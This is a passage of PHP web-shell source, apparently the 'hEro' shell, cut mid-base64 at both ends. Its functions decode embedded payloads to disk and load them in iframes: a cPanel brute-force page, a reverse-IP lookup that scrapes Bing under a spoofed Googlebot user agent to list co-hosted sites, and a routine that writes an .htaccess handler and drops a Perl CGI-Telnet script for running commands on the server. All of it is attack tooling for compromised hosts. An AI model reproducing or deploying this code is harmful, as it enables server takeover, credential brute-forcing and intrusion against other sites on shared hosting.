cGFuPg0KICAgIDwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9w
IiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPg0KICAgIDx0ZCB2
YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQg
dHlwZT0ic3VibWl0IiB2YWx1ZT0ic3RhcnQiPg0KICAgIDwvc3Ryb25nPg0KICAgIDwvdGQ+DQog
ICAgPHRyPg0KPC9mb3JtPiAgICANCiAgICANCiAgICANCiAgIA0KJzsNCmlmKCRfUE9TVFsnYXR0
J109PW51bGwpDQp7DQplY2hvICcJCQkJCQkgJzsNCn1lbHNlew0KZWNobyAiCQkJCQkJIA0KCQkJ
CQkJIA0KIjsNCn0=';
$file = fopen("cpanel.php" ,"w+");
$file = fopen("cpanel.php" ,"w+");
$write = fwrite ($file ,base64_decode($cp1));
fclose($file);
echo '<iframe src="cpanel.php" style="height:500px; width:1500px; border:0px;" name="brute">';
hErofooter();
}
function hErorev()
{
$reverse = 'PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5yZXZlcnNlIElQIGJ5IE1yLmhFcm8gPC90aXRsZT5vZGVk
DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hh
cnNldD1pc28tODg1OS0xIj4NCjwvaGVhZD4NCg0KPD9waHANCg0KDQoNCi8vRWRpdCBieSBNci5o
RXJvDQpzZXRfdGltZV9saW1pdCgwKTsNCg0KCQ0KCWVycm9yX3JlcG9ydGluZygwKTsNCgkvL2lu
aV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIm9uIik7DQogICAgDQoNCg0KDQogICAgDQogICAgZWNo
bycNCiAgICA8cCBhbGlnbj0iY2VudGVyIj48Yj48Zm9udCBjb2xvcj0iIzAwMDBGRiI+RWRpdGU8
L2ZvbnQ+PC9iPiANCgk8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+Ynk8L2ZvbnQ+DQoJPGI+DQoJPGZv
bnQgY29sb3I9IiNGRjAwMDAiPk1yLmhFcm88L2ZvbnQ+PC9iPjwvcD4NCiAgICA8Y2VudGVyPjxm
b3JtIGFjdGlvbj0iIiBuYW1lPSJmcm0xIiBtZXRob2Q9IkdFVCI+PGZvbnQgZmFjZT0iQXJpYWwi
IHNpemU9IjQiIGNvbG9yPSIjODAwMDAwIj48Qj5Eb21haW46PC9mb250PjwvQj4gDQo8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0icyIgY2xhc3M9InRleHRhIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0
IiB2YWx1ZT0iUmV2ZXJzZSBpdCEiIG5hbWU9InN1Ym1pdCIgY2xhc3M9Imdyb292eWJ1dHRvbiIv
Pg0KPGJyIC8+PGJyPg0KPGJyPg0KPC9mb3JtPjwvY2VudGVyPic7DQoJaWYgKGlzc2V0KCRfR0VU
WydzJ10pKQ0KCXsNCgkJJGQgPSB1cmxkZWNvZGUoJF9HRVRbJ3MnXSk7DQoNCgkJaWYgKHByZWdf
bWF0Y2goIi9eaHR0cDpcL1wvKFxTKylcLz8vIiwgJGQpID4gMCkNCgkJew0KCQkJJGQgPSBwcmVn
X3JlcGxhY2UoIi9eaHR0cDpcL1wvKC4rKS8iLCAiXFwxIiwgJGQpOw0KCQkJJGQgPSBzdHJfcmVw
bGFjZSgnLycsbnVsbCwkZCk7DQoJCX0NCg0KCQlpZiAocHJlZ19tYXRjaCgiL1x3K1wuXHcrLyIs
ICRkKSAhPSAwKQ0KCQl7DQoJCQkvLyBDaGVjayBmb3IgYSB2YWxpZCBJUCBBZGRyZXNzLCBpZiBp
dCB3YXNuJ3QgZW50ZXJlZCwgdHJ5IHRvIGxvb2sgaXQgdXAgYXMgYSBob3N0bmFtZQ0KCQkJaWYg
KHByZWdfbWF0Y2goIi9cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9LyIsICRkKSA9
PSAxKQ0KCQkJew0KCQkJCSRpcCA9ICRkOw0KCQkJfSBlbHNlIHsNCgkJCQkkaXAgPSBnZXRob3N0
YnluYW1lKCRkKTsNCgkJCX0NCgkJCWlmIChwcmVnX21hdGNoKCIvXGR7MSwzfVwuXGR7MSwzfVwu
XGR7MSwzfVwuXGR7MSwzfS8iLCAkaXApID09IDApDQoJCQl7DQoJCQkJZWNobyAiPGZvbnQgY29s
b3I9I0ZGRkZGRj5Db3VsZCBub3QgcmVzb2x2ZSAkZCB0byBhbiBJUCBBZGRyZXNzPC9mb250PiI7
DQoJCQkJZXhpdDsNCgkJCX0NCgkJCSRhbGxEb21haW5zID0gZ2V0QWxsRG9tYWluc0Zyb21TZWFy
Y2goImh0dHA6Ly93d3cuYmluZy5jb20vc2VhcmNoP3E9aXAlM0EkaXAmZmlyc3Q9MSIsIDApOw0K
CQkJZWNobyAiPHRhYmxlIGJvcmRlcj0xPiI7DQokYz0wOw0KCQkJCWZvcmVhY2goJGFsbERvbWFp
bnMgYXMgJGQpDQoJCQkJew0KJGMrKzsNCn0NCg0KZWNobyAiPGZvbnQgY29sb3I9cmVkPkNodW5n
IHRhIGNvIDxiPjxmb250IGNvbG9yPXllbGxvdz48Zm9udCBzaXplPTM+Ii4kYy4iPC9mb250Pjwv
Zm9udD48L2I+IHdlYnNpdGVzIHRyZW4gc2VydmVyIDxiPjxicj48Zm9udCBjb2xvcj1yZWQ+PGZv
bnQgc2l6ZT0zPiIuJGlwLiI8YnI+PC9iPjxwPjwvZm9udD48L2ZvbnQ+PC9mb250PiI7DQoJCQkk
YyA9IDA7DQoNCg0KCQkJaWYgKCFpc3NldCgkX0dFVFsnY29tcGFjdCddKSkNCgkJCXsNCgkJCQlm
b3JlYWNoKCRhbGxEb21haW5zIGFzICRkKQ0KCQkJCXsNCgkJCQkgCSRjKys7DQoJCQkJIAkkZXNk
ID0gcHJlZ19yZXBsYWNlKCIvXC4vIiwgIl8iLCAkZCk7DQoJCQkJCWVjaG8gIjx0cj48dGQ+JGMu
PC90ZD48dGQ+PGEgdGFyZ2V0PVwiX2JsYW5rXCIgaHJlZj1cImh0dHA6Ly8kZC9cIj48Zm9udCBj
b2xvcj0wMEZGMDA+JGQ8L2ZvbnQ+PC9hPjwvZm9udD48L3RkPiI7DQoJCQkJCWVjaG8gIjx0ZCBz
dHlsZT1cImRpc3BsYXk6IG5vbmVcIiBjb2xzcGFuPSczJyBpZD1cIndfJGVzZFwiIGJnY29sb3I9
XCIjREVERURFXCI+PHRkPiI7DQoNCmlmKGlzc2V0KCRfR0VUWydjMm5kJ10pKQ0Kew0KJGlwdGh1
Yz1nZXRob3N0YnluYW1lKCRkKTsNCmVjaG8gIjxmb250IGNvbG9yPXJlZD5JUDo8L2ZvbnQ+PGZv
bnQgY29sb3I9I0ZGRkZGRj4iLiRpcHRodWM7DQppZigkaXA8PiRpcHRodWMpDQp7DQplY2hvICI8
L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPj09PjxiPk1vdmVkICE8L2I+PC9mb250PiIuIjwvdGQ+IjsN
Cn0NCmVsc2UNCnsNCmVjaG8gIjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj49PT48Yj5PSzwvYj48
L2ZvbnQ+Ii4iPC90ZD4iOw0KfQ0KfQ0KCQkJCX0NCgkJCQllY2hvICI8L3RyPjwvdGFibGU+IjsN
CgkJCX0gZWxzZSB7DQoJCQkJZm9yZWFjaCAoJGFsbERvbWFpbnMgYXMgJGQpDQoJCQkJew0KCQkJ
CQllY2hvICIkZDxiciAvPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9IGVsc2Ugew0KCQkJZWNobyAiPGZv
bnQgY29sb3I9cmVkPkRvbWFpbiBob2FjIGlwIHNhaTogJGQ8L2ZvbnQ+IjsNCgkJfQ0KCX0NCmZ1
bmN0aW9uIGdldEFsbERvbWFpbnNGcm9tU2VhcmNoKCR1cmwsICRtYXhQYWdlcykNCnsNCgkkbWF4
UGFnZXMgPSAoJG1heFBhZ2VzID09IDApID8gOTk5IDogJG1heFBhZ2VzOw0KCSRhbGxSZXN1bHRQ
YWdlcyA9IGFycmF5KCk7DQoJJGZpbmlzaGVkUGFnZXMgPWFycmF5KCk7DQoJJGFsbFJlc3VsdFBh
Z2VzW109JHVybDsNCgkkYWxsRG9tYWlucyA9IGFycmF5KCk7DQoJJGMgPSAwOw0KCQ0KCWRvIHsN
CgkJJGMrKzsNCg0KCQkNCgkJaWYgKCFlbXB0eSgkYWxsUmVzdWx0UGFnZXMpKQ0KCQl7DQoJCQkv
L3Zhcl9kdW1wKCRhbGxSZXN1bHRQYWdlcyk7DQoJCQkkcmVzdWx0cyA9IGRvUmVzdWx0c1BhZ2Uo
JGFsbFJlc3VsdFBhZ2VzWzBdKTsJDQoJCQkNCgkJCWZvcmVhY2ggKCRyZXN1bHRzWydkb21haW5z
J10gYXMgJGQpDQoJCQl7DQoJCQkJJGFsbERvbWFpbnNbXT0kZDsNCgkJCX0NCgkJCQ0KCQkJJGZp
bmlzaGVkUGFnZXNbXT0kYWxsUmVzdWx0UGFnZXNbMF07DQoJCQkNCgkJCSRhbGxSZXN1bHRQYWdl
cyA9ICRyZXN1bHRzWydyZXN1bHRQYWdlcyddOw0KCQkJJG5ld1BhZ2VzPWFycmF5KCk7DQoJCQlm
b3JlYWNoKCRhbGxSZXN1bHRQYWdlcyBhcyAkaz0+JHYpDQoJCQl7DQoJCQkJaWYgKCFpbl9hcnJh
eSgkdiwgJGZpbmlzaGVkUGFnZXMpKQ0KCQkJCXsNCgkJCQkJJG5ld1BhZ2VzW109JHY7DQoJCQkJ
fQ0KCQkJfQ0KCQkJJGFsbFJlc3VsdFBhZ2VzID0gJG5ld1BhZ2VzOw0KCQkJLy8kYWxsUmVzdWx0
UGFnZXMgPSBhcnJheV91bmlxdWUoJGFsbFJlc3VsdFBhZ2VzKTsNCgkJCQkJCQ0KCQkJLy9lY2hv
ICJGaW5pc2hlZCBwYXJzaW5nICR1cmw8YnIgLz4iOw0KCQl9CQ0KCX0gd2hpbGUgKCFlbXB0eSgk
YWxsUmVzdWx0UGFnZXMpICYmICRjIDwgJG1heFBhZ2VzKTsNCglyZXR1cm4gYXJyYXlfdW5pcXVl
KCRhbGxEb21haW5zKTsNCn0NCg0KZnVuY3Rpb24gZG9SZXN1bHRzUGFnZSgkdXJsKQ0Kew0KCQ0K
CSR1cmwgPSBwcmVnX3JlcGxhY2UoIi8mYW1wOy8iLCAiJiIsICR1cmwpOw0KCSRib2R5ID0gZGlz
Z3Vpc2VfY3VybCgkdXJsKTsNCgkNCgkkc3VicyA9IGFycmF5KCk7DQoJDQoJcHJlZ19tYXRjaF9h
bGwoIi9cL3NlYXJjaFw/cT1pcCUzQVxkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxkezEsM30m
YW1wO2ZpcnN0PVxkezIsM30vaSIsICRib2R5LCAkc3Vicyk7DQoJDQoJDQoJZm9yZWFjaCAoJHN1
YnNbMF0gYXMgJGsgPT4gJHYpDQoJew0KCQkkc3Vic1ska10gPSAiaHR0cDovL3d3dy5iaW5nLmNv
bSIgLiAkdjsNCgl9DQoNCgkkcmVzdWx0UGFnZXMgPSBhcnJheV91bmlxdWUoJHN1YnMpOw0KCQ0K
CSRib2R5cGFydHMgPSBwcmVnX3NwbGl0KCIvY2xhc3M9XCJzYl9tZXRhXCI+PGNpdGU+LyIsICRi
b2R5KTsNCg0KCSRib2R5cGFydHMgPSBhcnJheV9yZXZlcnNlKCRib2R5cGFydHMpOw0KCWFycmF5
X3BvcCgkYm9keXBhcnRzKTsNCgkNCglmb3JlYWNoICgkYm9keXBhcnRzIGFzICRrID0+ICR2KQ0K
CXsNCgkJJGJvZHlwYXJ0c1ska10gPSBzdWJzdHIoJHYsIDAsIHN0cmlwb3MoJHYsICI8L2NpdGU+
IikpOw0KCQlpZiAoc3RycG9zKCRib2R5cGFydHNbJGtdLCAiLyIpID09PSBmYWxzZSkNCgkJew0K
CQkJDQoJCX0gZWxzZSB7DQoJCQkkYm9keXBhcnRzWyRrXSA9IHN1YnN0cigkYm9keXBhcnRzWyRr
XSwgMCwgc3RycG9zKCRib2R5cGFydHNbJGtdLCAiLyIpKTsNCgkJfQ0KCQkkYm9keXBhcnRzWyRr
XSA9IHN0cnRvbG93ZXIoJGJvZHlwYXJ0c1ska10pOw0KCX0NCgkNCglyZXR1cm4gQXJyYXkoInJl
c3VsdFBhZ2VzIiA9PiAkcmVzdWx0UGFnZXMsICJkb21haW5zIiA9PiAkYm9keXBhcnRzKTsNCn0N
Cg0KDQoJDQoJZnVuY3Rpb24gZGlzZ3Vpc2VfY3VybCgkdXJsKQ0Kew0KICAkY3VybCA9IGN1cmxf
aW5pdCgpOw0KDQogIC8vIFNldHVwIGhlYWRlcnMgLSBJIHVzZWQgdGhlIHNhbWUgaGVhZGVycyBm
cm9tIEZpcmVmb3ggdmVyc2lvbiAyLjAuMC42DQogIC8vIGJlbG93IHdhcyBzcGxpdCB1cCBiZWNh
dXNlIHBocC5uZXQgc2FpZCB0aGUgbGluZSB3YXMgdG9vIGxvbmcuIDovDQogICRoZWFkZXJbMF0g
PSAiQWNjZXB0OiB0ZXh0L3htbCxhcHBsaWNhdGlvbi94bWwsYXBwbGljYXRpb24veGh0bWwreG1s
LCI7DQogICRoZWFkZXJbMF0gLj0gInRleHQvaHRtbDtxPTAuOSx0ZXh0L3BsYWluO3E9MC44LGlt
YWdlL3BuZywqLyo7cT0wLjUiOw0KICAkaGVhZGVyW10gPSAiQ2FjaGUtQ29udHJvbDogbWF4LWFn
ZT0wIjsNCiAgJGhlYWRlcltdID0gIkNvbm5lY3Rpb246IGtlZXAtYWxpdmUiOw0KICAkaGVhZGVy
W10gPSAiS2VlcC1BbGl2ZTogMzAwIjsNCiAgJGhlYWRlcltdID0gIkFjY2VwdC1DaGFyc2V0OiBJ
U08tODg1OS0xLHV0Zi04O3E9MC43LCo7cT0wLjciOw0KICAkaGVhZGVyW10gPSAiQWNjZXB0LUxh
bmd1YWdlOiBlbi11cyxlbjtxPTAuNSI7DQogICRoZWFkZXJbXSA9ICJQcmFnbWE6ICI7IC8vIGJy
b3dzZXJzIGtlZXAgdGhpcyBibGFuay4NCg0KICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9V
UkwsICR1cmwpOw0KICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdHb29n
bGVib3QvMi4xICgraHR0cDovL3d3dy5nb29nbGUuY29tL2JvdC5odG1sKScpOw0KICBjdXJsX3Nl
dG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkaGVhZGVyKTsNCiAgY3VybF9zZXRvcHQo
JGN1cmwsIENVUkxPUFRfUkVGRVJFUiwgJ2h0dHA6Ly93d3cuZ29vZ2xlLmNvbScpOw0KICBjdXJs
X3NldG9wdCgkY3VybCwgQ1VSTE9QVF9FTkNPRElORywgJ2d6aXAsZGVmbGF0ZScpOw0KICBjdXJs
X3NldG9wdCgkY3VybCwgQ1VSTE9QVF9BVVRPUkVGRVJFUiwgdHJ1ZSk7DQogIGN1cmxfc2V0b3B0
KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgY3VybF9zZXRvcHQoJGN1cmws
IENVUkxPUFRfVElNRU9VVCwgMTApOw0KDQogICRodG1sID0gY3VybF9leGVjKCRjdXJsKTsgLy8g
ZXhlY3V0ZSB0aGUgY3VybCBjb21tYW5kDQogIGN1cmxfY2xvc2UoJGN1cmwpOyAvLyBjbG9zZSB0
aGUgY29ubmVjdGlvbg0KDQogIHJldHVybiAkaHRtbDsgLy8gYW5kIGZpbmFsbHksIHJldHVybiAk
aHRtbA0KfQ0KDQoNCj8+PGJvZHkgYmdjb2xvcj0iIzAwMDAwMCI+';
$file = fopen("rev.php" ,"w+");
$write = fwrite ($file ,base64_decode($reverse));
fclose($file);
hErohead();
echo '<iframe src="rev.php" style="height:500px; width:500px; border:0px;" name="reverse">';
hErofooter();
}
function hEroperl()
{
mkdir('hEro', 0755);
chdir('hEro');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("khong the tao shell!");
$metin = "AddHandler cgi-script .pr";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgico = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tDQojIENvcHlyaWdodCBhbmQgTGljZW5jZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBD
R0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5
b3VyIFdlYiBTZXJ2ZXINCiMNCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmENCiMg
UGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMg
c2NyaXB0IHNvIGxvbmcNCiMgYXMgdGhpcyBjb3B5cmlnaHQgbm90aWNlIGlzIGxlZnQgaW50YWN0
LiBJZiB5b3UgbWFrZSBjaGFuZ2VzIHRvIHRoZSBzY3JpcHQNCiMgcGxlYXNlIGRvY3VtZW50IHRo
ZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFk
ZQ0KIyBpbiB0aGlzIHNjcmlwdCwgeW91IGNhbiBlLW1haWwgbWUuDQojDQojIEF1dGhvcjogUm9o
aXRhYiBCYXRyYQ0KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vDQoj
IEVkaXRvcjogTXIuaEVybw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tDQojIEluc3RhbGxhdGlvbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUbyBp
bnN0YWxsIHRoaXMgc2NyaXB0DQojDQojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEvdXNy
L2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uDQojICAgIHlvdXIgc2Vy
dmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLg0K
IyAyLiBDaGFuZ2UgdGhlIHBhc3N3b3JkIGluIHRoZSBDb25maWd1cmF0aW9uIHNlY3Rpb24gYmVs
b3cuDQojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwg
c2V0ICRXaW5OVCA9IDEgaW4gdGhlDQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4N
CiMgNC4gVXBsb2FkIHRoZSBzY3JpcHQgdG8gYSBkaXJlY3Rvcnkgb24geW91ciBzZXJ2ZXIgd2hp
Y2ggaGFzIHBlcm1pc3Npb25zIHRvDQojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMg
dXN1YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkDQojICAgIHRoZSBzY3Jp
cHQgaW4gQVNDSUkgbW9kZS4NCiMgNS4gQ2hhbmdlIHRoZSBwZXJtaXNzaW9uIChDSE1PRCkgb2Yg
dGhlIHNjcmlwdCB0byA3NTUuDQojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93
c2VyLiBJZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbg0KIyAgICBjZ2ktYmluLCB0aGlzIHNo
b3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsDQoj
IDcuIExvZ2luIHVzaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBzcGVjaWZpZWQgaW4gU3RlcCAy
Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENv
bmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5U
LiBUaGUgb3RoZXINCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4N
CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRQYXNzd29yZCA9ICJsZmVuZSI7CQkjIENoYW5nZSB0
aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMNCgkJCQkjIHRvIGxvZ2luLg0KDQokV2lu
TlQgPSAwOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYN
CgkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCSMg
bWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJIyBjYW4gbGVh
dmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFj
dGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCSMgaW4gYSBjb21tYW5kIGxp
bmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVy
IGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUg
b24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29u
ZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkjIERvbid0IHNldCB0aGlzIHRv
IGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0
aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxp
a2UgImZpbmQgLyIuDQoJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJ
dCBpcw0KCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQg
PSAxOwkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCSMgYnJv
d3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJIyBpdCBpcyBidWZm
ZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMg
dXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2Vl
IHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBD
SEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdS
RSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2Vw
KTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5O
VCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDog
IiAxPiYxIDI+JjEiKTsNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5w
dXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0
DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2Vk
IGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydm
J30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZh
cmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRo
ZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlz
IGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87
DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkNCgkkTXVsdGlwYXJ0Rm9ybURhdGEg
PSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5
PSguKykkLzsNCg0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkk
aW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRI
T0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURh
dGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7
DQoJfQ0KDQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KCWlmKCRFTlZ7J0NPTlRFTlRfVFlQ
RSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KCXsNCgkJJEJv
dW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyANCgkJQGxpc3QgPSBz
cGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgDQoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07DQoJCSRI
ZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsNCgkJJEhlYWRlciA9ICRgOw0KCQkkQm9keSA9
ICQnOw0KIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBi
eSBOZXRzY2FwZQ0KCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCgkJJEhlYWRlciA9fiAvZmls
ZW5hbWU9XCIoLispXCIvOyANCgkJJGlueydmJ30gPSAkMTsgDQoJCSRpbnsnZid9ID1+IHMvXCIv
L2c7DQoJCSRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCgkJIyBwYXJzZSB0cmFpbGVyDQoJCWZvcigk
